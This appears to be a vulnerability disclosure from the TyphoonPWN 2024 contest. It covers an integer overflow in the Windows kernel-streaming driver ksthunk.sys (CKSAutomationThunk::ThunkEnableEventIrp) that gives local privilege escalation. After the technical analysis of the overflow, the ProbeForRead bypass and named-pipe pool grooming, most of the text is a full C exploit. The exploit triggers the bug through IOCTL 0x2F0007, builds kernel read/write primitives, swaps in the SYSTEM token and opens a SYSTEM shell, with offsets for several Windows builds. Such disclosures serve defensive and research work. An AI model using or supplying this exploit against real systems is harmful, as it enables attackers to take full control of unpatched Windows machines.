Summary
A vulnerability in the ksthunk.sys CKSAutomationThunk::ThunkEnableEventIrp allows a local attacker to exploit an Integer Overflow vulnerability which can then be used to gain elevated privileges in the Windows operating system.
The exploit was successfully demonstrated during the TyphoonPWN 2024 event and took second place.
Credit
An independent security researcher participating in TyphoonPWN 2024 and winning second place.
Vendor Response
After several months of waiting for a patch to come out the vendor has told us that the vulnerability is a duplicate and has been already fixed (without stating when), though at the time of trying this on the latest version of Windows 11, the vulnerability still worked. We were never provided with a CVE number or Patch information.
Affected Versions
Windows 11 23H2
CVE
CVE-2024-38144
Technical Analysis
ksthunk.sys is the WOW handler for the Kernel Streaming Service. There are some handlers to make 32bit process work properly. Among them, CKSAutomationThunk::ThunkEnableEventIrp, which is called when the ioctl number is 0x2F0007, is as follows.
// Only Called when the calling process is 32bit.
__int64 __fastcall CKSAutomationThunk::ThunkEnableEventIrp(__int64 a1, PIRP a2, __int64 a3, int *a4)
{
...
inbuflen = CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength;
outbuflen = CurrentStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
// [1]. Align the length of output buffer
outlen_adjust = (outbuflen + 0x17) & 0xFFFFFFF8;
if ( a2->AssociatedIrp.MasterIrp )
return 1i64;
if ( (unsigned int)inbuflen < 0x18 )
ExRaiseStatus(-1073741306);
ProbeForRead(CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer, inbuflen, 1u);
if ( (*((_DWORD *)CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer + 5) & 0xEFFFFFFF) == 1
|| (*((_DWORD *)CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer + 5) & 0xEFFFFFFF) == 2
|| (*((_DWORD *)CurrentStackLocation->Parameters.DeviceIoControl.Type3InputBuffer + 5) & 0xEFFFFFFF) == 4 )
{
// [2]. Validate the Length
if ( (unsigned int)outbuflen < 0x10 )
ExRaiseStatus(-1073741306);
if ( outlen_adjust < (int)outbuflen + 16 || outlen_adjust + (unsigned int)inbuflen < outlen_adjust )
ExRaiseStatus(-1073741306);
// [3]. Allocate the buffer to store the data
// 0x61 == POOL_FLAG_USE_QUOTA | POOL_FLAG_RAISE_ON_FAILURE POOL_FLAG_NON_PAGED
a2->AssociatedIrp.MasterIrp = (struct _IRP *)ExAllocatePool2(
0x61i64,
outlen_adjust + (unsigned int)inbuflen,
1886409547i64);
a2->Flags |= 0x30u;
ProbeForRead(a2->UserBuffer, outbuflen, 1u); // [*]
data = (__int64)a2->AssociatedIrp.MasterIrp;
...
// [4]. Copy the Data
if ( (unsigned int)outbuflen > 0x10 )
memmove((void *)(data + 0x20), (char *)a2->UserBuffer + 16, outbuflen - 16);
memmove(
(char *)a2->AssociatedIrp.MasterIrp + outlen_adjust,
CurrentStackLocation->Parameters.FileSystemControl.Type3InputBuffer,
inbuflen);
...
}
CKSAutomationThunk::ThunkEnableEventIrp allocates a new buffer to save the input and output data properly for the 64bit system. At [1], outlen_adjust is calculated as (outbuflen + 0x17) & 0xFFFFFFF8 to adjust the alignment of output buffer. After some validation for some lengths at [2], the buffer of size outlen_adjust + inbuflen is allocated at [3]. Finally, the data is copied to the buffer at [4].
However, at [1], there is no integer overflow validation while calculating outbuflen + 0x17. Therefore, outlen_adjust can be set to the small value, which leads the small size allocation at [2]. Eventually, the heap overflow occurs when the data is copied at [4].
But, there is two obstacles to trigger this vulnerability.
First, ProbeForRead(a2->UserBuffer, outbuflen, 1u) will checks that a2->UserBuffer should be the size outbuflen. To make the integer overflow, outbuflen must be larger than 0xFFFFFFE9. In the 32bit program, we can’t allocate large memory space of this size. However, the implementation of ProbeForRead doesn’t check the size of buffer. It only checks the address.
VOID ProbeForRead(ULONG_PTR Address, SIZE_T Length, ULONG Alignment) {
if ((Length) != 0) {
if ( (Address & (Alignment - 1)) != 0) {
ExRaiseDatatypeMisalignment();
}
if ( (Address + Length - 1) < Address || (Address + Length - 1) > MM_USER_PROBE_ADDRESS) {
ExRaiseAccessViolation();
}
}
}
As shown above, ProbeForRead only checks that the end of the address doesn’t exceed MM_USER_PROBE_ADDRESS. Because the address is treated as ULONG_PTR(64bit), we can bypass ProbeForRead(a2->UserBuffer, outbuflen, 1u) without mapping the memory.
Second, At [4], the copying is done with the size outbuflen - 16. As mentioned just before, because outbuflen must be larger than 0xFFFFFFE9, this copying process has a high probability to make a crash. But, by helping user memory fault exception, we can avoid the crash and copy with desired size. If the user memory fault exception occurs, the execution will be stopped and just return to user with an error. Thus, we just make the memory layout like below.
a2->UserBuffer +====================================== | ...... Buffer ....... | Unmapped Memory +====================================== ---------------------->| Copying until here Kernel Memory +====================================== | Allocated Mem | Next Memory ... | +======================================
While copying the data, the user memory fault exception occurs when unmapped memory meets. Therefore, the copying process will be stopped at the desired point.
Exploitation
The buffer overflow occurs in Non-paged pool, we can exploit the Named-pipe technique. In addition, since the allocation size and the data is fully controllable by attackers, the exploit is not hard.
To make my exploit, we referenced the this document, https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/tree/master. The exploit steps of my exploit is as follows.
- Spray the
0x1000size named pipe Objects, and make a hole between them. The large pool is more stable than LFH or VS to create an exploit. - Trigger OOB Vulnerability. It will overwrite the adjacent named pipe, whose memory is as follows. (https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/tree/master?tab=readme-ov-file#complete-control-over-the-overflow-data)
DATA_QUEUE_ENTRY: NextEntry=whatever; Irp=ideally 0; SecurityContext=ideally 0; EntryType=0; QuotaInEntry=ideally 0; //mostly irrelevent in case we use the peek operation DataSize=something bigger than the original size; x=whatever;
- By utilizing the corrupted named pipe, we can reveal the adjacent named pipe data. From this information, we can know the pool addresses.
- Trigger OOB Vulnerability again to make the arbitrary read primitive. The memory of corrupted named pipe is as follows. ( https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation/tree/master?tab=readme-ov-file#complete-control-over-the-overflow-data )
DATA_QUEUE_ENTRY: NextEntry=whatever; Irp=Forged IRP Address; SecurityContext=ideally 0; EntryType=1; QuotaInEntry=ideally 0; DataSize=arbitrary read size; x=whatever; IRP->SystemBuffer = arbitrary read address
- Insert IRP packet into named pipe by calling
NtFsControlFile(pipe, 0, 0, 0, &isb, 0x119FF8, buffer, 0x1000, 0, 0). And then, leak the address of irp from the leaked data at3. - Using the arbitrary read primitive, we can get the the system token address.
CurThread_Irp = *(IRP + 0x20) CurProcess = *(CurThread - IrpListOffset + ProcessOffset) SystemProcess = Search active process list on CurProcess SystemToken = *(SystemProcess + TokenOffset)
- Trigger OOB Vulnerability again to make the arbitrary write primitive. Since the technique of
vp777document will crash after the program exits or sometimes freeze the system, we used other technique to make arbitrary write. (we will explain this technique below) - Overwrite the token of the current process as SYSTEM token.
- Restore the corrupted named pipe data by utilizing the leaked data at
3. - Enjoy the system privilege.
Arbitrary Write
To exploit, exploit the code at nt!IopfCompleteRequest, which is as follows.
...
flags = irp->Flags;
if ( (flags & 0x402) != 0 )
{
if ( (flags & 0x440) == 0 )
{
IopDequeueIrpFromThread(irp);
KeInitializeApc(
(_DWORD)Irp + 120,
(int)Irp->Tail.Overlay.Thread,
Irp->ApcEnvironment,
(int)IopCompletePageWrite,
0i64,
0i64,
0,
0i64);
KeInsertQueueApc(&Irp->Tail, 0i64, 0i64, v27);
return;
}
*irp->UserIosb = irp->IoStatus; // [*], copying 16bytes.
v56 = flags & 0x42;
if ( !v56 )
goto Set_Event_Return;
By this vulnerability, the data of irp can be fully controllable. Therefore, at [*] we can make the arbitrary write primitive by setting irp->UserIosb to desired address and irp->IoStatus to desired value. This instruction copies the structure _IO_STATUS_BLOCK, which is 16 bytes.
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
} DUMMYUNIONNAME;
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
However, the value of IoStatus has been changed before reaching this point. The below code shows the change of IoStatus.
...
if ( QueueEntry->EntryType >= 2 ){
irp = NpRemoveDataQueueEntry((DATA_QUEUE_ENTRY **)a2, 0, a9);
if ( irp )
{
irp->IoStatus.Status = 0; // only Status set to zero
v45 = &irp->Tail.Overlay.ListEntry;
v46 = a9->Blink;
if ( v46->Flink != a9 )
goto LABEL_110;
v45->Flink = a9;
v45->Blink = v46;
v46->Flink = v45;
a9->Blink = v45;
}
...
}
...
If the EntryType of the name, pipe entry is more than 2, named pipe entry is removed by NpRemoveDataQueueEntry because the entry is not valid. After removing the entry, IoStatus.Status of the irp is set to 0. However the IoStatus.Information will not be changed. Therefore, we can make the (partial) arbitrary write primitive using this.
+0x468 CreateTime : _LARGE_INTEGER +0x470 ProcessQuotaUsage : [2] Uint8B +0x480 ProcessQuotaPeak : [2] Uint8B +0x490 PeakVirtualSize : Uint8B +0x498 VirtualSize : Uint8B +0x4a0 SessionProcessLinks : _LIST_ENTRY +0x4b0 ExceptionPortData : Ptr64 Void // Is it ok if it is overwritten to zero? +0x4b0 ExceptionPortValue : Uint8B // Is it ok if it is overwritten to zero? +0x4b0 ExceptionPortState : Pos 0, 3 Bits // Is it ok if it is overwritten to zero? +0x4b8 Token : _EX_FAST_REF // Target Field +0x4c0 MmReserved : Uint8B +0x4c8 AddressCreationLock : _EX_PUSH_LOCK +0x4d0 PageTableCommitmentLock : _EX_PUSH_LOCK
Luckily, No problem occurs if ExceptionPortData/ExceptionPortValue, the field just before the Token, will be zero-ed. So we can use this primitive to overwrite the token of current process as SYSTEM token.
Exploit
#include <Windows.h>
#include <winternl.h>
#include <winnt.h>
#include <stdio.h>
#include <cfgmgr32.h>
#pragma comment(lib, "Cfgmgr32.lib")
#define DATA_ENTRY_HEADER_SIZE 0x30
#define ENTRY_DATASIZE(x)((x) - DATA_ENTRY_HEADER_SIZE)
/* IRP for 64bit
nt!_IRP
+0x000 Type : Int2B
+0x002 Size : Uint2B
+0x004 AllocationProcessorNumber : Uint2B
+0x006 Reserved : Uint2B
+0x008 MdlAddress : Ptr64 _MDL
+0x010 Flags : Uint4B
+0x018 AssociatedIrp : <unnamed-tag>
+0x020 ThreadListEntry : _LIST_ENTRY
+0x030 IoStatus : _IO_STATUS_BLOCK
+0x040 RequestorMode : Char
+0x041 PendingReturned : UChar
+0x042 StackCount : Char
+0x043 CurrentLocation : Char
+0x044 Cancel : UChar
+0x045 CancelIrql : UChar
+0x046 ApcEnvironment : Char
+0x047 AllocationFlags : UChar
+0x048 UserIosb : Ptr64 _IO_STATUS_BLOCK
+0x048 IoRingContext : Ptr64 Void
+0x050 UserEvent : Ptr64 _KEVENT
+0x058 Overlay : <unnamed-tag>
+0x068 CancelRoutine : Ptr64 void
+0x070 UserBuffer : Ptr64 Void
+0x078 Tail : <unnamed-tag>
*/
#pragma pack(push, 8)
typedef struct {
SHORT Type;
USHORT Size;
USHORT AllocationProcessorNumber;
PVOID64 MdlAddress;
ULONG Flags;
PVOID64 AssociatedIrp;
LIST_ENTRY64 ThreadListEntry;
union {
NTSTATUS Status;
PVOID64 Pointer;
}
IoStatus;
PVOID64 Information;
CHAR RequestorMode;
BOOLEAN PendingReturned;
CHAR StackCount;
CHAR CurrentLocation;
BOOLEAN Cancel;
UCHAR CancelIrql;
CCHAR ApcEnvironment;
UCHAR AllocationFlags;
PVOID64 UserIosb;
PVOID64 UserEvent;
char Overlay[16];
PVOID64 CancelRoutine;
PVOID64 UserBuffer;
CHAR TailIsWrong;
}
IRP;
#pragma pack(pop)
typedef void(IO_APC_ROUTINE)(
void * ApcContext,
IO_STATUS_BLOCK * IoStatusBlock,
unsigned long reserved
);
typedef int(__stdcall * NTFSCONTROLFILE)(
HANDLE fileHandle,
HANDLE event,
IO_APC_ROUTINE * apcRoutine,
void * ApcContext,
IO_STATUS_BLOCK * ioStatusBlock,
unsigned long FsControlCode,
void * InputBuffer,
unsigned long InputBufferLength,
void * OutputBuffer,
unsigned long OutputBufferLength
);
typedef NTSTATUS( * pNtWow64WriteVirtualMemory64)(
HANDLE ProcessHandle,
unsigned __int64 BaseAddress,
void * Buffer,
unsigned __int64 Size,
unsigned __int64 * NumberOfBytesWritten);
typedef struct {
HANDLE r;
HANDLE w;
}
PIPE_HANDLES;
#define PIPESIZE 0x1000
PIPE_HANDLES pipes[PIPESIZE];
PIPE_HANDLES holder;
void CreateSprayPipe(PIPE_HANDLES * ph, DWORD quota = -1) {
ph -> w = CreateNamedPipe(
L "\\\\.\\pipe\\exploit_test",
PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
PIPE_TYPE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
quota,
quota,
0,
0);
ph -> r = CreateFile(L "\\\\.\\pipe\\exploit_test", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
}
void WriteDataEntry(PIPE_HANDLES ph, PVOID WriteData, DWORD32 len) {
WriteFile(ph.w,
WriteData,
ENTRY_DATASIZE(len),
NULL,
NULL);
}
void ReadDataEntry(PIPE_HANDLES ph, PVOID ReadBuffer, DWORD32 len) {
ReadFile(ph.r,
ReadBuffer,
ENTRY_DATASIZE(len),
NULL,
NULL);
}
#define MARKER 0x9999999988888888
DWORD64 readthis = MARKER;
IRP fakeirp;
IRP * fakeirp_w;
BYTE fakeevent[0x80];
DWORD64 dummyvalue;
#define inputsize 0x1000 // >0x18, Allocation Size, Copy From +0x20
#define outputsize 0x1060 // Copy size-0x10, Should Copy by 0x40
LPBYTE inbuffer;
LPBYTE outbuffer;
DWORD64 flink = 0; // Used for Recovering
DWORD64 blink = 0; // Used for Recovering
DWORD64 thread_list[2];
DWORD overflowidx = 0;
void setupaar(LPBYTE buffer, DWORD64 readaddr = (DWORD64) & readthis, DWORD size = 0x8) {
fakeirp.AssociatedIrp = (PVOID64) readaddr;
// Setup Overflow Data
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
*(DWORD64 * )(buffer + 0x10) = (DWORD64) & fakeirp; // IRP
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
*(DWORD * )(buffer + 0x20) = (DWORD) 1; // Entry Type
*(DWORD * )(buffer + 0x24) = (DWORD) 0; // QuotaEntry
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}
void setupoobread(LPBYTE buffer, DWORD size) {
// Setup Overflow Data
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
*(DWORD64 * )(buffer + 0x10) = (DWORD64) 0; // IRP
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
*(DWORD * )(buffer + 0x20) = (DWORD) 0; // Entry Type
*(DWORD * )(buffer + 0x24) = (DWORD) 0; // QuotaEntry
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}
void setuprecoverdata(LPBYTE buffer, DWORD size) {
// Setup Overflow Data
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
*(DWORD64 * )(buffer + 0x10) = (DWORD64) 0; // IRP
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
*(DWORD * )(buffer + 0x20) = (DWORD) 0; // Entry Type
*(DWORD * )(buffer + 0x24) = (DWORD) size; // QuotaEntry
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}
void setuparw(LPBYTE buffer, DWORD64 dstaddr, DWORD64 * value, DWORD size = 0x10) {
#define IRP_BUFFERED_IO 0x00000010
#define IRP_DEALLOCATE_BUFFER 0x00000020
#define IRP_INPUT_OPERATION 0x00000040
// Setup Overflow Data
fakeirp_w -> Flags = 0x0060400;
fakeirp_w -> CurrentLocation = fakeirp_w -> StackCount + 1;
fakeirp_w -> UserIosb = (PVOID64) dstaddr;
memcpy((void * ) & fakeirp_w -> IoStatus, value, 0x10);
//fakeirp_w->CancelRoutine = NULL;
fakeirp_w -> UserEvent = (PVOID64) fakeevent;
*(DWORD * )(fakeevent + 4) = 1; // Set State
/*
fakeirp_w->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;
fakeirp_w->Flags &= ~IRP_DEALLOCATE_BUFFER;
fakeirp_w->AssociatedIrp = (PVOID64)srcaddr; // src
fakeirp_w->UserBuffer = (PVOID64)dstaddr; // dst
fakeirp_w->ThreadListEntry.Flink = (ULONGLONG)(thread_list);
fakeirp_w->ThreadListEntry.Blink = (ULONGLONG)(thread_list);
thread_list[0] = thread_list[1] = (DWORD64)((LPBYTE)fakeirp_w + offsetof(IRP, ThreadListEntry.Flink));
*/
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
*(DWORD64 * )(buffer + 0x10) = (DWORD64) fakeirp_w; // IRP
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
*(DWORD * )(buffer + 0x20) = (DWORD) 2; // Entry Type
*(DWORD * )(buffer + 0x24) = (DWORD) size - 1; // QuotaEntry
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}
void setupbug(LPBYTE buffer, DWORD64 bugaddr, DWORD size = 0xfc0) {
*(DWORD64 * )(buffer + 0x0) = flink; // NextEntry->Flink
*(DWORD64 * )(buffer + 0x8) = blink; // NextEntry->Blink
*(DWORD64 * )(buffer + 0x10) = (DWORD64) bugaddr; // IRP
*(DWORD64 * )(buffer + 0x18) = (DWORD64) 0; // SecurityContext
*(DWORD * )(buffer + 0x20) = (DWORD) 2; // Entry Type
*(DWORD * )(buffer + 0x24) = (DWORD) size; // QuotaEntry
*(DWORD * )(buffer + 0x28) = (DWORD) size; // DataSize
*(DWORD * )(buffer + 0x2C) = (DWORD) 0; // x
}
DWORD64 readQWORD(DWORD64 addr) {
DWORD64 readdata;
DWORD read;
fakeirp.AssociatedIrp = (PVOID64)(addr);
PeekNamedPipe(pipes[overflowidx].r, & readdata, 8, & read, NULL, NULL);
return readdata;
}
void writeQWORD(DWORD64 addr, DWORD64 value) {
DWORD64 writedata = value;
DWORD read;
fakeirp_w -> AssociatedIrp = (PVOID64)( & writedata);
fakeirp_w -> UserBuffer = (PVOID64)(addr);
fakeirp_w -> ThreadListEntry.Flink = (ULONGLONG)(thread_list);
fakeirp_w -> ThreadListEntry.Blink = (ULONGLONG)(thread_list);
thread_list[0] = thread_list[1] = (DWORD64)((LPBYTE) fakeirp_w + offsetof(IRP, ThreadListEntry.Flink));
ReadFile(pipes[overflowidx].r, & dummyvalue, 0x1, & read, 0);
}
/*********
Define Offset Area
*******/
// From _EPROCESS
// #define UNIQUEPROCESSIDOFFSET 0x440
// #define ACTIVEPROCESSLINTOFFSET 0x448
// #define TOKENOFFSET 0x4b8
// #define ThreadListHeadOffset 0x5e0
// From _ETHREAD
// Win11
//#define ThreadListEntryOffset 0x538
//#define CIDOffset 0x4c8
// Windows Server 2022
//#define ThreadListEntryOffset 0x538
//#define CIDOffset 0x4c8
// Win10
//#define ThreadListEntryOffset 0x4e8
//#define CIDOffset 0x478
ULONG UNIQUEPROCESSIDOFFSET;
ULONG ACTIVEPROCESSLINTOFFSET;
ULONG TOKENOFFSET;
//ULONG ThreadListHeadOffset;
//ULONG ThreadListEntryOffset;
//ULONG CIDOffset;
ULONG ProcessOffset;
ULONG IrpListOffset;
// FROM _FILE_OBJECT, _DEVICE_OBJECT, _DRIVER_OBJECT
#define DEVICE_OBJECT_OFFSET 0x8
#define DRIVER_OBJECT_OFFSET 0x8
#define DRIVER_START_OFFSET 0x18
// Update by PE parsing
ULONG RtlQueryRegistryValuesEx_Offset;
ULONG PsInitialSystemProcess_Offset;
ULONG IAT_RtlQueryRegistryValuesEx_Offset;
//----------------------------------
VOID CheckVersion() {
HMODULE hDll = LoadLibrary(TEXT("Ntdll.dll"));
typedef NTSTATUS(CALLBACK * RTLGETVERSION)(PRTL_OSVERSIONINFOW lpVersionInformation);
RTLGETVERSION pRtlGetVersion;
pRtlGetVersion = (RTLGETVERSION) GetProcAddress(hDll, "RtlGetVersion");
if (pRtlGetVersion) {
RTL_OSVERSIONINFOW ovi = {
0
};
ovi.dwOSVersionInfoSize = sizeof(ovi);
NTSTATUS ntStatus = pRtlGetVersion( & ovi);
if (ntStatus == 0) {
printf("[*] Version : %d\n", ovi.dwBuildNumber);
if (ovi.dwBuildNumber > 26000) {
// Win11 24H2 ??
UNIQUEPROCESSIDOFFSET = 0x1D0;
ACTIVEPROCESSLINTOFFSET = 0x1D8;
TOKENOFFSET = 0x248;
//ThreadListHeadOffset = 0x370;
//ThreadListEntryOffset = 0x578;
//CIDOffset = 0x508;
ProcessOffset = 0x220;
IrpListOffset = 0x540;
} else if (ovi.dwBuildNumber > 22000) {
// Win11 23H2 ??
UNIQUEPROCESSIDOFFSET = 0x440;
ACTIVEPROCESSLINTOFFSET = 0x448;
TOKENOFFSET = 0x4b8;
//ThreadListHeadOffset = 0x5e0;
//ThreadListEntryOffset = 0x538;
//CIDOffset = 0x4c8;
ProcessOffset = 0x220;
IrpListOffset = 0x500;
} else if (ovi.dwBuildNumber <= 22000 && ovi.dwBuildNumber > 20000) {
// Server 2022 ??
UNIQUEPROCESSIDOFFSET = 0x440;
ACTIVEPROCESSLINTOFFSET = 0x448;
TOKENOFFSET = 0x4b8;
//ThreadListHeadOffset = 0x5e0;
//ThreadListEntryOffset = 0x538;
//CIDOffset = 0x4c8;
ProcessOffset = 0x220;
IrpListOffset = 0x500;
} else if (ovi.dwBuildNumber <= 20000 && ovi.dwBuildNumber > 19040) {
// WIN 10, 1904X version
UNIQUEPROCESSIDOFFSET = 0x440;
ACTIVEPROCESSLINTOFFSET = 0x448;
TOKENOFFSET = 0x4b8;
//ThreadListHeadOffset = 0x5e0;
//ThreadListEntryOffset = 0x4e8;
//CIDOffset = 0x478;
ProcessOffset = 0x220;
IrpListOffset = 0x4b0;
} else {
printf("Not Supported\n");
exit(0);
}
}
}
}
/********************
Exploit Helper START!!!!
******************/
// Get EPROCESS for current process
ULONG64 PsGetProcessFromPid(DWORD64 pEPROCESS, DWORD pid) {
LIST_ENTRY64 ActiveProcessLinks;
ActiveProcessLinks.Flink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET));
ActiveProcessLinks.Blink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET + 8));
ULONG64 res = 0;
while (TRUE) {
ULONG64 UniqueProcessId = 0;
// adjust EPROCESS pointer for next entry
pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - ACTIVEPROCESSLINTOFFSET;
// get pid
UniqueProcessId = readQWORD((DWORD64)(pEPROCESS + UNIQUEPROCESSIDOFFSET));
// is this our pid?
if (pid == UniqueProcessId) {
res = pEPROCESS;
break;
}
// get next entry
ActiveProcessLinks.Flink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET));
ActiveProcessLinks.Blink = (ULONGLONG) readQWORD((DWORD64)(pEPROCESS + ACTIVEPROCESSLINTOFFSET + 8));
// if next same as last, we reached the end
if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - ACTIVEPROCESSLINTOFFSET)
break;
}
return res;
}
/******************
Exploit Helper END!!!!
*****************/
void trigger(HANDLE hDevice) {
DWORD returnByte;
//*(GUID*)(inbuffer + 0) = { 0x1d58c920, 0xac9b, 0x11cf, {0xa5, 0xd6, 0x28, 0xdb, 0x04, 0xc1, 0x00, 0x00} };
*(DWORD64 * )(inbuffer + 0x10) = 0x400000000; // 1 or 2 or 4
*(DWORD * ) outbuffer = 2; // 1 or 2
DeviceIoControl(hDevice, 0x2F0007, inbuffer, inputsize, outbuffer, 0xfffffff0, & returnByte, NULL);
}
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
} else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
} else {
printf(".");
}
}
printf("\n");
}
}
int main(int argc, char ** argv) {
CheckVersion();
NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE) GetProcAddress(LoadLibrary(L "ntdll.dll"), "NtFsControlFile");
pNtWow64WriteVirtualMemory64 NtWow64WriteVirtualMemory64 = (pNtWow64WriteVirtualMemory64) GetProcAddress(GetModuleHandle(L "ntdll.dll"), "NtWow64WriteVirtualMemory64");
DWORD targetpid = GetCurrentProcessId();
if (targetpid == 0) {
return 0;
}
// Pipes for Spraying
for (int i = 0; i < PIPESIZE; i++) {
CreateSprayPipe( & pipes[i]);
}
CreateSprayPipe( & holder);
LPBYTE DummyBuffer = (LPBYTE) malloc(0x10000);
memset(DummyBuffer, 0x77, 0x10000);
inbuffer = (LPBYTE) malloc(inputsize);
SIZE_T aligned_size = (outputsize + 0xFFF) & 0xFFFFFFFFFFFFF000;
outbuffer = (LPBYTE) VirtualAlloc((LPVOID) 0x13370000, aligned_size, MEM_COMMIT | MEM_RESERVE, 0x40);
outbuffer += (aligned_size - outputsize);
LPBYTE overwrite_data_ptr = outbuffer + 0x1000 - 0x10;
memset(inbuffer, 0, inputsize);
memset(outbuffer, 0x41, outputsize);
#define OOBSIZE 0x4000
setupoobread(overwrite_data_ptr, OOBSIZE);
// GUID DeviceGUID = { 0xcf1dda2c, 0x9743, 0x11d0, {0xa3, 0xee, 0x00, 0xa0, 0xc9, 0x22, 0x31, 0x96} };
GUID DeviceGUID = {
0x3c0d501a,
0x140b,
0x11d1,
{
0xb4,
0x0f,
0x00,
0xa0,
0xc9,
0x22,
0x31,
0x96
}
};
WCHAR DeviceLink[256] = {
0,
};
CM_Get_Device_Interface_ListW( & DeviceGUID, NULL, DeviceLink, 256, CM_GET_DEVICE_INTERFACE_LIST_ALL_DEVICES);
HANDLE hDevice = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
printf("[*] hDevice : %p\n", hDevice);
Sleep(200);
/*
Create Memory Layout
*/
for (int i = 0; i < PIPESIZE; i++) {
// size of ETHREAD structure is 0xa00
WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
WriteDataEntry(pipes[i], DummyBuffer, 0xff0);
}
ReadDataEntry(pipes[PIPESIZE - 0x80], DummyBuffer, 0xff0);
trigger(hDevice);
// Before Start OOB, Holing the Free Space
WriteDataEntry(holder, DummyBuffer, 0xff0);
// Step1. OOB Check
for (int i = 0; i < PIPESIZE; i++) {
DWORD read = 0;
PeekNamedPipe(pipes[i].r, DummyBuffer, OOBSIZE, & read, NULL, NULL);
if (read > OOBSIZE - 0x100) {
overflowidx = i;
break;
}
}
printf("[+] gotit : %p\n", overflowidx);
if (overflowidx == 0) {
exit(0);
}
blink = * (DWORD64 * )(DummyBuffer + 0xfd0);
flink = * (DWORD64 * )(DummyBuffer + 0xfd8) + 0x1000;
DWORD64 CCB = blink - 0xa8;
printf("[*] blink : %llx, flink : %llx, CCB : %llx\n", blink, flink, CCB);
// Setp2. ARR Setup
setupaar(overwrite_data_ptr);
// Release the Area
ReadDataEntry(holder, DummyBuffer, 0xff0);
trigger(hDevice);
// Before Start ARR, Holing the Free Space
WriteDataEntry(holder, DummyBuffer, 0xff0);
// Setup IRP
IO_STATUS_BLOCK isb;
NtFsControlFile(pipes[overflowidx].w, 0, 0, 0, & isb, 0x119FF8, DummyBuffer, 0x1000, 0, 0);
// Read IRP
DWORD64 irpptr = readQWORD(blink + 0x40);
fakeirp_w = (IRP * ) malloc(0x1000);
for (int i = 0; i < 0x40; i++) {
*(DWORD64 * )((LPBYTE) fakeirp_w + i * 8) = readQWORD(irpptr + i * 8);
}
//PrintHex((LPBYTE)fakeirp_w, 0x80);
DWORD64 CurrentThread = * (DWORD64 * )((LPBYTE) fakeirp_w + 0x20);
DWORD64 CurrentProcess = readQWORD(CurrentThread - IrpListOffset + ProcessOffset);
printf("[*] CurrentThread : %llx, CurrentThread : %llx\n", CurrentThread, CurrentProcess);
// Start Traditional Exploit Technique
DWORD64 SystemProcess = PsGetProcessFromPid(CurrentProcess, 4);
DWORD64 SystemToken = readQWORD(SystemProcess + TOKENOFFSET);
printf("[*] SystemProcess : %llx, SystemToken : %llx, CurrentProcess : %llx\n", SystemProcess, SystemToken, CurrentProcess);
DWORD64 tokendata[2] = {
0,
SystemToken
};
// STEP3. Setup ARW
setuparw(overwrite_data_ptr, CurrentProcess + TOKENOFFSET - 8, tokendata);
// Release the Area
ReadDataEntry(holder, DummyBuffer, 0xff0);
trigger(hDevice);
DWORD dwread;
ReadFile(pipes[overflowidx].r, DummyBuffer, 0x1, & dwread, NULL);
// STEP4. Recover Data
setuprecoverdata(overwrite_data_ptr, 0xfc0);
trigger(hDevice);
Sleep(200);
system("cmd");
}